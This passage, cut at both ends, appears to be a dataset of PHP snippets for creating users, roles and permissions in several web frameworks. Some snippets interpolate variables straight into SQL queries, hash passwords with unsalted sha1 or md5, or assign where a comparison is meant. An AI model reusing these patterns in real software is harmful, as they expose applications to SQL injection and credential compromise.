AclPermission::where('main_module','=','akdn')->get();\n\t\t$languageperm = AclPermission::where('main_module','=','language')->get();\n\t\t$skillperm = AclPermission::where('main_module','=','skill')->get();\n\t\t$roleperm = AclPermission::where('main_module','=','role')->get();\n\t\t$specperm = AclPermission::where('main_module','=','specialization')->get();\n\t\t$userperm = AclPermission::where('main_module','=','adminuser')->get();\n\t\t$firewallperm = AclPermission::where('main_module','=','firewall')->get();\n\t\t$agency = AclPermission::where('main_module','=','agency')->get();\n\t\t$mails = AclPermission::where('main_module','=','mails')->get();\n\t\treturn View::make('admin.role.create',compact('mails','agency','consultperm','awardedperm','akdnperm','languageperm','skillperm','roleperm','userperm','specperm','firewallperm'));\n\t}", "public function actionCreate()\n {\n $model = new RoleForm();\n\n if ($model->load(Yii::$app->request->post()) ) {\n $role = new \\yii\\rbac\\Role();\n $role->description = $model->description;\n $role->type = $model->type;\n $role->ruleName = empty($model->rule_name) ? null : $model->rule_name;\n $role->data = $model->data;\n\n $this->authManager->add($role);\n if(is_array($model->child) && count($model->child)){\n foreach($model->child as $name){\n $this->authManager->addChild($role,$this->authManager->getPermission($name));\n }\n }\n return $this->redirect(['update', 'id' => $model->name]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n 'permissions' => $this->authManager->getPermissions()\n ]);\n }\n }", "public function create($type, $data, $userId);", "protected function buildPermissions(ExternalEntityType $type) {\n $type_id = $type->id();\n $type_params = array('%type_name' => $type->label());\n\n return array(\n \"create $type_id external entity\" => array(\n 'title' => $this->t('%type_name: Create new external entity', $type_params),\n ),\n \"edit $type_id external entity\" => array(\n 'title' => $this->t('%type_name: Edit any external entity', $type_params),\n ),\n \"delete $type_id external entity\" => array(\n 'title' => $this->t('%type_name: Delete any external entity', $type_params),\n ),\n );\n }", "public function create($iAnaType)\n {\n if (! SValidation::canCreate($this->oCurrentUserPermission->privilege_id))\n {\n return redirect()->route('notauthorized');\n }\n\n $lLinkTypes = SItemLinkType::where('is_deleted', false)->orderBy('name', 'ASC')->lists('name', 'id_item_link_type');\n\n $lItems = SItem::where('is_deleted', false)->orderBy('code', 'ASC')->get();\n $lGenders = SItemGender::where('is_deleted', false)->orderBy('name', 'ASC')->get();\n $lGroups = SItemGroup::where('is_deleted', false)->orderBy('name', 'ASC')->get();\n $lFamilies = SItemFamily::where('is_deleted', false)->orderBy('name', 'ASC')->get();\n $lItemTypes = SItemType::where('is_deleted', false)->orderBy('name', 'ASC')->get();\n $lItemClass = SItemClass::where('is_deleted', false)->orderBy('name', 'ASC')->get();\n\n $lTypes = SAnalysisType::where('is_deleted', false)\n ->orderBy('order', 'ASC');\n\n $lAnalysis = SAnalysis::where('is_deleted', false)\n ->select('id_analysis', \\DB::raw(\"CONCAT(code, ' - ', name) as ana_name\"), 'type_id', 'name')\n ->orderBy('id_analysis', 'ASC');\n\n if ($iAnaType == \\Config::get('scqms.ANALYSIS_TYPE.OL')) {\n $sView = \"qms.certconfigs.createEditorg\";\n $lTypes = $lTypes->where('id_analysis_type', \\Config::get('scqms.ANALYSIS_TYPE.OL'));\n $lAnalysis = $lAnalysis->where('type_id', \\Config::get('scqms.ANALYSIS_TYPE.OL'));\n }\n else {\n $sView = \"qms.certconfigs.createEdit\";\n }\n \n $lTypes = $lTypes->get();\n $lAnalysis = $lAnalysis->get();\n\n return view($sView)\n ->with('lTypes', $lTypes)\n ->with('lAnalysis', $lAnalysis)\n ->with('links', $lLinkTypes)\n ->with('items', $lItems)\n ->with('genders', $lGenders)\n ->with('groups', $lGroups)\n ->with('families', $lFamilies)\n ->with('itemTypes', $lItemTypes)\n ->with('itemClasses', $lItemClass);\n }", "function _wp_privacy_action_request_types()\n {\n }", "function tutor_assignment_add($username, $type) {\n $type = rtrim($type, \"s\");\n\n $title = \"Add a $type to $username\";\n drupal_set_title($title);\n $output = \"<h2>$title</h2>\";\n\n $user = eto_user_load(array('name' => $username));\n\n $node = (object) array ('uid' => $user->uid,\n\t\t\t 'type' => $type);\n\n $output .= drupal_get_form('add_assignment_form', $node);\n\n return $output;\n}", "public function createAction($type)\n {\n if (!$type) {\n return $this->redirect($this->generateUrl('resymf_admin_dashboard'), 301);\n }\n $em = $this->getDoctrine()->getManager();\n\n $request = $this->container->get('request');\n $routeName = $request->get('_route');\n\n $adminConfigurator = $this->get('resymfcms.configurator.admin');\n $objectConfigurator = $this->get('resymfcms.configurator.object');\n\n $objectMapper = $this->get('resymfcms.object.mapper');\n\n $objectType = $objectMapper->getMappedObject($type);\n $annotationReader = $this->get('resymfcms.annotation.reader');\n\n $formConfig = $annotationReader->readFormAnnotation($objectType);\n\n if ($request->isMethod('POST')) {\n $object = new $objectType();\n\n// echo '<pre>';\n// print_r($formConfig->fields);\n// die();\n foreach ($formConfig->fields as $field) {\n $fieldType = $field['type'];\n $fieldRelationType = $field['relationType'];\n $methodName = 'set' . $field['name'];\n\n// if()\n switch ($fieldType) {\n case 'relation':\n $class = $field['class'];\n $targetEntityField = $field['targetEntityField'];\n $relationObjects = $em->getRepository($class)\n ->createQueryBuilder('q')\n ->where('q.id IN(:id)')\n ->setParameter('id', $request->get($field['name']))\n// ->setMaxResults()\n ->getQuery()\n ->getResult();\n// print_r($relationObject);\n $addMethodName2 = 'set' . $field['name'];\n if($fieldRelationType == 'manyToOne' || $fieldRelationType == 'oneToOne') {\n $object->$addMethodName2($relationObjects[0]);\n }else {\n $object->$addMethodName2($relationObjects);\n }\n foreach ($relationObjects as $relationObject) {\n\n if ($relationObject) {\n\n $addMethodName = 'set' . $type;\n $addMethodName2 = 'set' . $field['name'];\n\n if ($fieldRelationType == 'oneToMany') {\n $addMethodName2 = 'add' . $field['name'];\n\n }\n if ($fieldRelationType = 'manyToMany' || $fieldRelationType = 'multiselect') {\n $addMethodName2 = 'add' . $targetEntityField;\n } else { ///toOne\n $relationObject->$addMethodName($object);\n }\n\n }\n }\n\n \n break;\n case 'date':\n $object->$methodName(new \\DateTime($request->get($field['name'])));\n break;\n case 'file':\n// echo $field['name'];\n// print_r($request->get($field['name']));\n// die();\n $object->$methodName(json_encode($request->get($field['name'])));\n break;\n default:\n $object->$methodName($request->get($field['name']));\n }\n\n }\n\n $objectConfigurator->setInitialValuesFromAnnotations($objectType, $object, $type);\n $em->persist($object);\n $em->flush();\n return $this->redirect($this->generateUrl('object_edit', array('type' => $type, 'id' => $object->getId())), 301);\n }\n\n if (!isset($object)) {\n $object = false;\n }\n $multiSelectValues = $objectConfigurator->generateMultiSelectOptions($objectType, $object);\n\n return $this->render('ReSymfCmsBundle:adminmenu:create.html.twig', array('menu' => $adminConfigurator->getAdminConfig(), 'site_config' => $adminConfigurator->getSiteConfig(), 'form_config' => $formConfig, 'route' => $routeName, 'multi_select' => $multiSelectValues));\n }", "private static function create()\n {\n getDb()->putUser(1, self::getDefaultAttributes());\n }", "public function accountant_create()\n\t{\n\t\t$data['name'] = html_escape($this->input->post('name'));\n\t\t$data['email'] = html_escape($this->input->post('email'));\n\t\t$data['password'] = sha1($this->input->post('password'));\n\t\t$data['phone'] = html_escape($this->input->post('phone'));\n\t\t$data['gender'] = html_escape($this->input->post('gender'));\n\t\t$data['blood_group'] = html_escape($this->input->post('blood_group'));\n\t\t$data['address'] = html_escape($this->input->post('address'));\n\t\t$data['school_id'] = $this->school_id;\n\t\t$data['role'] = 'accountant';\n\t\t$data['watch_history'] = '[]';\n\n\t\t$duplication_status = $this->check_duplication('on_create', $data['email']);\n\t\tif($duplication_status){\n\t\t\t$this->db->insert('users', $data);\n\n\t\t\t$response = array(\n\t\t\t\t'status' => true,\n\t\t\t\t'notification' => get_phrase('accountant_added_successfully')\n\t\t\t);\n\t\t}else{\n\t\t\t$response = array(\n\t\t\t\t'status' => false,\n\t\t\t\t'notification' => get_phrase('sorry_this_email_has_been_taken')\n\t\t\t);\n\t\t}\n\n\t\treturn json_encode($response);\n\t}", "private function createandActivenInactiveUser($accountType=0,$pin=0,$name=''){\n\n $checkAtt=\\DB::table('attendance_users')->where('pin',$pin)->count();\n if($checkAtt==0)\n {\n if($accountType==1){\n $array=array(\n 'pin'=>$pin,\n 'name'=>$name,\n 'password'=>\"\",\n 'group'=>1,\n 'privilege'=>0\n );\n }else{\n $array=array(\n 'pin'=>$pin,\n 'name'=>$name,\n 'password'=>\"\",\n 'group'=>1,\n 'privilege'=>0\n );\n }\n \n\n \\DB::table('attendance_users')->insert($array);\n }\n\n $dataTable=DeviceSetting::find(1);\n \n if($dataTable->device_status==\"Ready\"){\n $options = [\n 'ip' =>$dataTable->device_ip, \n 'internal_id' => 1, \n 'com_key' => 0, \n 'description' => 'TAD1', \n 'soap_port' => 80, \n 'udp_port' => 4370, \n 'encoding' => 'iso8859-1' \n ];\n \n $tad_factory = new TADFactory($options);\n $tad = $tad_factory->get_instance(); \n\n $dt = $tad->get_date()->to_array();\n if(count($dt)>0){\n\n if($accountType==1)\n {\n $r = $tad->set_user_info([\n 'pin' => $pin,\n 'name'=> $name,\n 'privilege'=> 0,\n 'password' => 0\n ]);\n\n \n $template1_data = [\n 'pin' => $pin,\n 'valid' => 1 //\n ];\n\n $tad->set_user_template($template1_data);\n }\n else\n {\n $tad->delete_user(['pin'=>$pin]);\n }\n \n }\n\n }\n\n if($dataTable->device_two_status==\"Ready\"){\n $options = [\n 'ip' =>$dataTable->device_ip_two, \n 'internal_id' => 1, \n 'com_key' => 0, \n 'description' => 'TAD1', \n 'soap_port' => 80, \n 'udp_port' => 4370, \n 'encoding' => 'iso8859-1' \n ];\n \n $tad_factory = new TADFactory($options);\n $tad = $tad_factory->get_instance(); \n\n $dt = $tad->get_date()->to_array();\n if(count($dt)>0){\n \n if($accountType==1)\n {\n $r = $tad->set_user_info([\n 'pin' => $pin,\n 'name'=> $name,\n 'privilege'=> 0,\n 'password' => 0\n ]);\n\n \n $template1_data = [\n 'pin' => $pin,\n 'valid' => 1 //\n ];\n\n $tad->set_user_template($template1_data);\n }\n else\n {\n $tad->delete_user(['pin'=>$pin]);\n }\n }\n }\n\n\n\n }", "public function actionCreate()\n {\n $model = new User(['scenario' => User::SCENARIO_SAVE_USER]);\n $model->loadDefaultValues();\n $model->verified = true;\n $positions = new LogPosition();\n\n $roleForm = new RoleForm();\n $permission = Yii::$app->authManager->getPermissions();\n $permissions = $roleForm->getPermissions($permission);\n $rolePermissions = [];\n $registration = new LogRegistration();\n\n $salary = new LogSalary();\n\n $randomKey = \"ok\";\n $post = Yii::$app->request->post('User');\n $model->saveLog(Json::decode($post['log']));\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n $newPermissions = Yii::$app->request->post('Permission');\n $roleForm->removePermission($permission, new AccessUserApplicant($model->id));\n $roleForm->savePermission($newPermissions, new AccessUserApplicant($model->id));\n $positions->saveLogPosition(Json::decode($post['log']), $model->id);\n $registration->saveLogRegistration(Json::decode($post['log']), $model->id);\n $salary->saveLogSalary(Json::decode($post['log']), $model->id);\n\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'randomKey' => $randomKey,\n 'model' => $model,\n 'permissions' => $permissions,\n 'rolePermissions' => $rolePermissions,\n ]);\n }\n }", "public function admin_add()\n {\n if ($this->request->is('post')) {\n $this->User->create();\n\n $this->request->data['Impi']['auth_scheme'] = 127;\n\n if ($this->User->saveAll($this->request->data)) {\n $this->Session->setFlash(__('The user has been saved'));\n $this->redirect(array('action' => 'index'));\n } else {\n $this->Session->setFlash(__('The user could not be saved. Please, try again.'));\n }\n }\n $utilityFunctions = $this->User->UtilityFunction->find('list');\n\n $this->set(compact('utilityFunctions', 'utilityFunctionsParameters'));\n }", "public function run()\n {\n Permission::factory(SC::PERMISSIONS_COUNT)->create();\n }", "public function run()\n {\n if(!Permission::where('name', '=', 'users_list')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'users_list', \n \t\t'description'=>'List Users']);\n }\n if(!Permission::where('name', '=', 'users_search')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'users_search', \n \t\t'description'=>'Search Users']);\n }\n if(!Permission::where('name', '=', 'user_edit')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'user_edit', \n \t\t'description'=>'Edit User']);\n }\n if(!Permission::where('name', '=', 'user_add')->count()){\n $admin = Permission::create([\n 'name'=>'user_add', \n 'description'=>'Add Users']);\n }\n\n if(!Permission::where('name', '=', 'roles_list')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'roles_list', \n \t\t'description'=>'List Roles']);\n }\n if(!Permission::where('name', '=', 'role_add')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'role_add', \n \t\t'description'=>'Add Role']);\n }\n if(!Permission::where('name', '=', 'role_edit')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'role_edit', \n \t\t'description'=>'Edit Role']);\n }\n if(!Permission::where('name', '=', 'role_delete')->count()){\n \t$admin = Permission::create([\n \t\t'name'=>'role_delete', \n \t\t'description'=>'Delete Role']);\n }\n\n if(!Permission::where('name', '=', 'menu_list')->count()){\n $admin = Permission::create([\n 'name'=>'menu_list', \n 'description'=>'List Menu']);\n }\n if(!Permission::where('name', '=', 'menu_add')->count()){\n $admin = Permission::create([\n 'name'=>'menu_add', \n 'description'=>'Add Menu']);\n }\n if(!Permission::where('name', '=', 'menu_edit')->count()){\n $admin = Permission::create([\n 'name'=>'menu_edit', \n 'description'=>'Edit Menu']);\n }\n if(!Permission::where('name', '=', 'menu_delete')->count()){\n $admin = Permission::create([\n 'name'=>'menu_delete', \n 'description'=>'Delete Menu']);\n }\n\n if(!Permission::where('name', '=', 'shops_list')->count()){\n $admin = Permission::create([\n 'name'=>'shops_list', \n 'description'=>'List Shops']);\n }\n if(!Permission::where('name', '=', 'shop_add')->count()){\n $admin = Permission::create([\n 'name'=>'shop_add', \n 'description'=>'Add Shop']);\n }\n if(!Permission::where('name', '=', 'shop_edit')->count()){\n $admin = Permission::create([\n 'name'=>'shop_edit', \n 'description'=>'Edit Shop']);\n }\n if(!Permission::where('name', '=', 'shop_delete')->count()){\n $admin = Permission::create([\n 'name'=>'shop_delete', \n 'description'=>'Delete Shop']);\n }\n\n if(!Permission::where('name', '=', 'orders_list')->count()){\n $admin = Permission::create([\n 'name'=>'orders_list', \n 'description'=>'List Orders']);\n }\n if(!Permission::where('name', '=', 'order_print')->count()){\n $admin = Permission::create([\n 'name'=>'order_print', \n 'description'=>'Print Order']);\n }\n }", "public function actionCreate()\n\t{\n\t\t$model=new User;\n\t\t$guide = new Guide;\n\t\t\n\t\t$model->setScenario('common');\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['User']))\n\t\t{\n\t\t\t$model->attributes=$_POST['User'];\n\t\t\t$model->created_on = date('Y-m-d H:i:s');\n\t\t\t\n\t\t\tif(isset($_POST['User']['social_identifier']) && trim($_POST['User']['social_identifier']) != '')\n\t\t\t$model->setScenario('social');\n\t\t\telse\n\t\t\t$model->setScenario('normal');\n\t\t\tif($model->validate()){\n\t\t\t \n\t\t\t if($model->save()){\n\t\t\t\t\t if($model->role == '3')\n\t\t\t\t\t $this->redirect(array('guidedetails','id'=>$model->user_id));\n\t\t\t\t\t else if($model->role == '4')\n\t\t\t\t\t $this->redirect(array('iyerdetails','id'=>$model->user_id));\n\t\t\t\t\t else if($model->role == '2'){\n\t\t\t\t\t\t\t $this->redirect(array('regsuccesss','id'=>$model->user_id));\n\t\t\t\t }\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t\t'guide'=>$guide,\n\t\t));\n\t}", "function gdlr_lms_add_user_role(){\r\n\t\tadd_role('instructor', __('Instructor', 'gdlr-lms'), \r\n\t\t\tarray('instructor'=>true, 'read'=>true, 'edit_users'=>true, 'edit_dashboard'=>true, 'upload_files'=>true,\r\n\t\t\t\t 'edit_course'=>true, 'edit_courses'=>true, 'edit_published_courses'=>true, 'publish_courses'=>true, 'delete_course'=>true, 'delete_courses'=>true, 'delete_published_courses'=>true,\r\n\t\t\t\t 'edit_quiz'=>true, 'edit_quizzes'=>true, 'edit_published_quizzes'=>true,'publish_quizzes'=>true, 'delete_quiz'=>true, 'delete_quizzes'=>true, 'delete_published_quizzes'=>true,\r\n\t\t\t\t 'course_taxes'=>true )\r\n\t\t);\r\n\t\tadd_role('student', __('Student', 'gdlr-lms'));\r\n\t\t\r\n\t\t$administrator = get_role('administrator');\r\n\t\t\r\n\t\t$administrator->add_cap('course_taxes');\r\n\t\t$administrator->add_cap('course_taxes_edit');\r\n\t\t$administrator->add_cap('edit_course');\r\n\t\t$administrator->add_cap('read_course');\r\n\t\t$administrator->add_cap('delete_course');\r\n\t\t$administrator->add_cap('edit_courses');\r\n\t\t$administrator->add_cap('edit_others_courses');\r\n\t\t$administrator->add_cap('publish_courses');\r\n\t\t$administrator->add_cap('read_private_courses');\r\n $administrator->add_cap('delete_courses');\r\n $administrator->add_cap('delete_private_courses');\r\n $administrator->add_cap('delete_published_courses');\r\n $administrator->add_cap('delete_others_courses');\r\n $administrator->add_cap('edit_private_courses');\r\n $administrator->add_cap('edit_published_courses');\t\r\n\r\n\t\t$administrator->add_cap('edit_quiz');\r\n\t\t$administrator->add_cap('read_quiz');\r\n\t\t$administrator->add_cap('delete_quiz');\r\n\t\t$administrator->add_cap('edit_quizzes');\r\n\t\t$administrator->add_cap('edit_others_quizzes');\r\n\t\t$administrator->add_cap('publish_quizzes');\r\n\t\t$administrator->add_cap('read_private_quizzes');\r\n $administrator->add_cap('delete_quizzes');\r\n $administrator->add_cap('delete_private_quizzes');\r\n $administrator->add_cap('delete_published_quizzes');\r\n $administrator->add_cap('delete_others_quizzes');\r\n $administrator->add_cap('edit_private_quizzes');\r\n $administrator->add_cap('edit_published_quizzes');\t\t\r\n\t\t\r\n\t\t// 1.01 capability fix\r\n\t\t$instructor = get_role('instructor');\r\n\t\t$instructor->add_cap('edit_published_courses');\r\n\t\t$instructor->add_cap('edit_published_quizzes');\r\n\t}", "public function run()\n {\n $default = [\n ['type' => 'Super Admin'], \n ['type' => 'Admin'], \n ['type' =>'Director'], \n ['type' =>'Department Head'], \n ['type' =>'Group Leader'],\n ['type' =>'Developer']\n ];\n\n foreach ($default as $key => $value) {\n UserType::create($value);\n }\n }", "public function saveUserType($Input=array()) {\r\n\t\t$GetGUID = get_guid();\r\n\r\n\t\t$InsertData = array_filter(array(\r\n\t\t\t\"UserTypeGUID\"\t\t\t=>\t$GetGUID,\r\n\t\t\t\"UserTypeName\" \t\t\t=>\t$Input['GroupName'],\r\n\t\t\t\"IsAdmin\" \t\t\t\t=>\t(!empty($Input['IsAdmin']) ? \"Yes\" : \"No\")\r\n\t\t));\r\n\t\tif(!empty($InsertData)){\r\n\t\t\t$Query \t\t= $this->db->insert('tbl_users_type', $InsertData);\r\n\t\t\treturn array('UserTypeID' => $this->db->insert_id(), 'UserTypeGUID' => $GetGUID);\r\n\t\t}\t\t\r\n\t\treturn false;\r\n\t}", "public function create(Request $request)\n {\n $request->user()->controlroles(['1','3','2','4']);\n \n }", "public function create()\n {\n if (Auth::user()->ability('superadministrator', 'create-permissions')){\n return view('permission.create',[\n 'pageheader'=>'权限',\n 'pagedescription'=>'添加',\n ]);\n }\n return abort(403,config('yyxt.permission_deny'));\n }", "public function actionCreate()\n {\n $model = new User();\n \n if ($model->load(Yii::$app->request->post())) {\n $model->password_hash=Yii::$app->security->generatePasswordHash($model->password_hash);\n if($model->save()){\n Yii::$app->getSession()->setFlash('alert', [\n 'type' => 'success',\n 'duration' => 5000,\n 'icon' => 'fa fa-users',\n 'message' => 'สำเร็จ',\n 'title' => 'บันทึกข้อมูล',\n 'positonY' => 'top',\n 'positonX' => 'right'\n ]);\n //สร้างตามสิทธิ์การใช้งาน\n $id=$model->id;\n $time=Yii::$app->formatter->asTimestamp(date('Y-d-m h:i:s'));\n if($model->type==1){\n $auth_assignment = Yii::$app->db->createCommand(\"INSERT INTO auth_assignment VALUES ('Boss','$id','$time')\")\n ->execute();\n }\n if($model->type==2){\n $auth_assignment = Yii::$app->db->createCommand(\"INSERT INTO auth_assignment VALUES ('Nurse','$id','$time')\")\n ->execute();\n }\n if($model->type==3){\n $auth_assignment = Yii::$app->db->createCommand(\"INSERT INTO auth_assignment VALUES ('Medicalrecords','$id','$time')\")\n ->execute();\n }\n return $this->redirect(['view', 'id' => $model->id]);\n } } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create_admin() {\n\t\t$data['school_id'] = html_escape($this->input->post('school_id'));\n\t\t$data['name'] = html_escape($this->input->post('name'));\n\t\t$data['email'] = html_escape($this->input->post('email'));\n\t\t$data['password'] = sha1($this->input->post('password'));\n\t\t$data['phone'] = html_escape($this->input->post('phone'));\n\t\t$data['gender'] = html_escape($this->input->post('gender'));\n\t\t$data['blood_group'] = html_escape($this->input->post('blood_group'));\n\t\t$data['address'] = html_escape($this->input->post('address'));\n\t\t$data['role'] = 'admin';\n\t\t$data['watch_history'] = '[]';\n\n\t\t// check email duplication\n\t\t$duplication_status = $this->check_duplication('on_create', $data['email']);\n\t\tif($duplication_status){\n\t\t\t$this->db->insert('users', $data);\n\n\t\t\t$response = array(\n\t\t\t\t'status' => true,\n\t\t\t\t'notification' => get_phrase('admin_added_successfully')\n\t\t\t);\n\t\t}else{\n\t\t\t$response = array(\n\t\t\t\t'status' => false,\n\t\t\t\t'notification' => get_phrase('sorry_this_email_has_been_taken')\n\t\t\t);\n\t\t}\n\n\t\treturn json_encode($response);\n\t}", "public function save () {\n if ($this->validate()) {\n $manager = Yii::$app->authManager;\n if ($this->_item === null) {\n if ($this->type == Item::TYPE_ROLE) {\n $this->_item = $manager->createRole($this->name);\n } else {\n $this->_item = $manager->createPermission($this->name);\n }\n $isNew = true;\n } else {\n $isNew = false;\n $oldName = $this->_item->name;\n }\n $this->_item->name = $this->name;\n $this->_item->description = $this->description;\n $this->_item->ruleName = $this->ruleName;\n $this->_item->data = $this->data === null || $this->data === '' ? null : Json::decode(\n $this->data);\n if ($isNew) {\n $rule_module = new Rule();\n $rule_module->name = $this->name;\n $rule_module->data = $this->data === null || $this->data === '' ? null : Json::decode(\n $this->data);\n $rule_module->created_at = time();\n $rule_module->updated_at = time();\n $rule_module->account_id = isset($_POST['AuthItem']['pid']) ? $_POST['AuthItem']['pid'] : 0;\n if ($this->type == Item::TYPE_ROLE) {\n $rule_module->save();\n } elseif ($this->type == Item::TYPE_PERMISSION) {\n // 权限关系表\n $permission_module = new Permission();\n $permission_module->name = $this->name;\n $permission_module->data = $this->data === null ||\n $this->data === '' ? null : Json::decode(\n $this->data);\n $permission_module->created_at = time();\n $permission_module->updated_at = time();\n $permission_module->menu_id = isset(\n $_POST['AuthItem']['menuID']) ? $_POST['AuthItem']['menuID'] : 0;\n $permission_module->save();\n $_laste_id = $permission_module->id;\n if ($_laste_id) {\n // 权限编辑后颗粒配置入库\n // 权限编辑后默认菜单指定第二级子模块subID\n $request = Yii::$app->request;\n try {\n $userIP = Yii::$app->request->userIP;\n $menu_ID = $_POST['AuthItem']['subID'];\n $permission_Name = $_laste_id;\n if ($request->isPost) {\n $permission_ID = $_laste_id;\n $assignment_module = new Assign();\n $assignment_module->permission_id = $permission_ID;\n $assignment_module->menu_id = $menu_ID;\n $assignment_module->ip = $userIP;\n if (! $assignment_module->save()) {\n throw new NotFoundHttpException(\n '权限颗粒入库数据错' . __LINE__ . __CLASS__);\n exit();\n }\n }\n } catch (\\Exception $e) {}\n }\n }\n $manager->add($this->_item);\n } else {\n try {\n // 更新角色\n if ($this->type == Item::TYPE_ROLE) {\n $rule_module = new Rule();\n $rule_module->updateAll(\n array(\n 'name' => $this->name,\n 'updated_at' => time(),\n 'account_id' => isset(\n $_POST['AuthItem']['pid']) ? $_POST['AuthItem']['pid'] : 0\n ), 'name=:name', \n array(\n ':name' => $oldName\n ));\n // 更新授权信息\n $auth_rule_module = new Userassign();\n $auth_rule_module->updateAll(\n array(\n 'role_name' => $this->name,\n 'account_id' => isset(\n $_POST['AuthItem']['pid']) ? $_POST['AuthItem']['pid'] : 0\n ), 'role_name=:role_name', \n array(\n ':role_name' => $oldName\n ));\n } else {\n // 更新权限关系表\n $permission_module = new Permission();\n $permission_module->updateAll(\n array(\n 'name' => $this->name,\n 'updated_at' => time(),\n 'menu_id' => isset(\n $_POST['AuthItem']['menuID']) ? $_POST['AuthItem']['menuID'] : 0\n ), 'name=:name', \n array(\n ':name' => $oldName\n ));\n }\n $manager->update($oldName, $this->_item);\n } catch (\\Exception $e) {}\n }\n \n return true;\n } else {\n return false;\n }\n }", "public function userHasCreatePermission(){\n//\t\tif(\\GO\\Base\\Model\\Acl::hasPermission($this->getPermissionLevel(),\\GO\\Base\\Model\\Acl::CREATE_PERMISSION)){\n//\t\t\treturn true;\n//\t\t}else \n\t\tif(\\GO::modules()->isInstalled('freebusypermissions')){\n\t\t\treturn \\GO\\Freebusypermissions\\FreebusypermissionsModule::hasFreebusyAccess(\\GO::user()->id, $this->user_id);\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "public function create()\n\t{\n\t\tif(Auth::user()->role == 'Admin')\n\t\t{\n\t\t\treturn View::make('etypes.create');\n\t\t}\n\t\tFlash::error('You are not authorized to view this page');\n\t\treturn Redirect::to('home');\t\t\n\t}", "public function addadminAction()\n {\n $this->doNotRender();\n\n $email = $this->getParam('email');\n $user = \\Entity\\User::getOrCreate($email);\n\n $user->stations->add($this->station);\n $user->save();\n\n \\App\\Messenger::send(array(\n 'to' => $user->email,\n 'subject' => 'Access Granted to Station Center',\n 'template' => 'newperms',\n 'vars' => array(\n 'areas' => array('Station Center: '.$this->station->name),\n ),\n ));\n\n $this->redirectFromHere(array('action' => 'index', 'id' => NULL, 'email' => NULL));\n }", "public function actionCreate()\n {\n $model = new Users();\n $post = Yii::$app->request->post();\n if ($model->load(Yii::$app->request->post())) {\n $model->password = md5($model->password);\n if(gettype($post['Users']['rules']) == 'string'){\n BaseModel::getErrorMessages(false, 'Please select user rule!');\n }\n $transaction = Yii::$app->db->beginTransaction();\n $saved = false;\n try {\n if($post['Users']['rules'] !== null){\n if($model->save() && gettype($post['Users']['rules']) != 'string'){\n foreach ($post['Users']['rules'] as $rule){\n $save_rule = new AuthAssignment();\n $save_rule->setAttributes([\n 'item_name' => $rule,\n 'user_id' => \"$model->id\"\n ]);\n if($save_rule->save()){\n $saved = true;\n } else{\n $saved = false;\n }\n }\n if($saved){\n BaseModel::getMessages(true, 'added');\n $transaction->commit();\n return $this->redirect(['index']);\n } else{\n $transaction->rollBack();\n }\n }\n } else {\n BaseModel::getErrorMessages(false, Yii::t('app', 'There are some mistakes!'));\n }\n } catch (\\Exception $exception){\n $transaction->rollBack();\n BaseModel::getErrorMessages(false, $exception->getMessage());\n }\n// return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function createApproval($venueID, $type) {\n\t\t\t\n\t\t\t# get all user roles for this venue with type $type\n\t\t\t $vurs = $this->CI->db->query(\"\n\t\t\t\tSELECT vur.*\n\t\t\t\tFROM UserRole ur\n\t\t\t\t\tJOIN UserType ut ON ur.UserTypeID = ut.UserTypeID\n\t\t\t\t\tJOIN VenueUserRole vur ON vur.UserRoleID = ur.UserRoleID\n\t\t\t\t\tJOIN Venue v ON v.VenueID = vur.VenueID\n\t\t\t\tWHERE v.VenueID = {$venueID} AND UserTypeName = '{$type}'\n\t\t\t\")->result_array();\n\n\t\t\tforeach($vurs as $vur) {\n\t\t\t\t//insert new approval for each userrole\n\t\t\t\t$insert = $this->CI->db->query(\"\n\t\t\t\t\tINSERT INTO Approval\n\t\t\t\t\t\t(ApprovalType, ApprovalStartDate, VenueUserRoleID, Descision)\n\t\t\t\t\tVALUES \n\t\t\t\t\t\t((SELECT ut.UserTypeName\n\t\t\t\t\t\t FROM UserType ut \n\t\t\t\t\t\t \tJOIN UserRole ur ON ur.UserTypeID = ut.UserTypeID \n\t\t\t\t\t \t WHERE ur.UserRoleID = {$vur['UserRoleID']}),\n\t\t\t\t\t\tNOW(),\n\t\t\t\t\t\t{$vur['VenueUserRoleID']},\n\t\t\t\t\t\t'pending')\n\t\t\t\t\");\n\t\t\t\tif(!$insert) {\n\t\t\t\t\treturn $this->CI->db->error();\n\t\t\t\t}\n\t\t\t\t$approvalID = $this->CI->db->query(\"SELECT LAST_INSERT_ID() AS id\")->row()->id;\n\n\t\t\t\t//$this->CI->mailer->attachActionsToApproval($approvalID, $type);\n\t\t\t\t\n\t\t\t//send email\n\t\t\t}\n\n\t\t}", "public function actionCreate()\n {\n $model = new Permission();\n\n if ($model->load(Yii::$app->request->post())) {\n $this->_saveRecord($model, 'permission_id');\n }\n\n return $this->render(ACTION_CREATE, [MODEL => $model, 'titleView' => 'Create']);\n }", "public function test_mod_lti_create_tool_type() {\n $type = mod_lti_external::create_tool_type($this->getExternalTestFileUrl('/ims_cartridge_basic_lti_link.xml'), '', '');\n $this->assertEquals('Example tool', $type['name']);\n $this->assertEquals('Example tool description', $type['description']);\n $this->assertEquals('https://download.moodle.org/unittest/test.jpg', $type['urls']['icon']);\n $typeentry = lti_get_type($type['id']);\n $this->assertEquals('http://www.example.com/lti/provider.php', $typeentry->baseurl);\n $config = lti_get_type_config($type['id']);\n $this->assertTrue(isset($config['sendname']));\n $this->assertTrue(isset($config['sendemailaddr']));\n $this->assertTrue(isset($config['acceptgrades']));\n $this->assertTrue(isset($config['forcessl']));\n }", "public function creating(User $user)\n {\n $user->type = strlen($user->cpf_cnpj) == 14 ? 'personal' : 'business';\n }", "public function run()\n {\n Permission::insert([\n [\n 'name' => 'Create',\n 'slug' => 'create_customer',\n 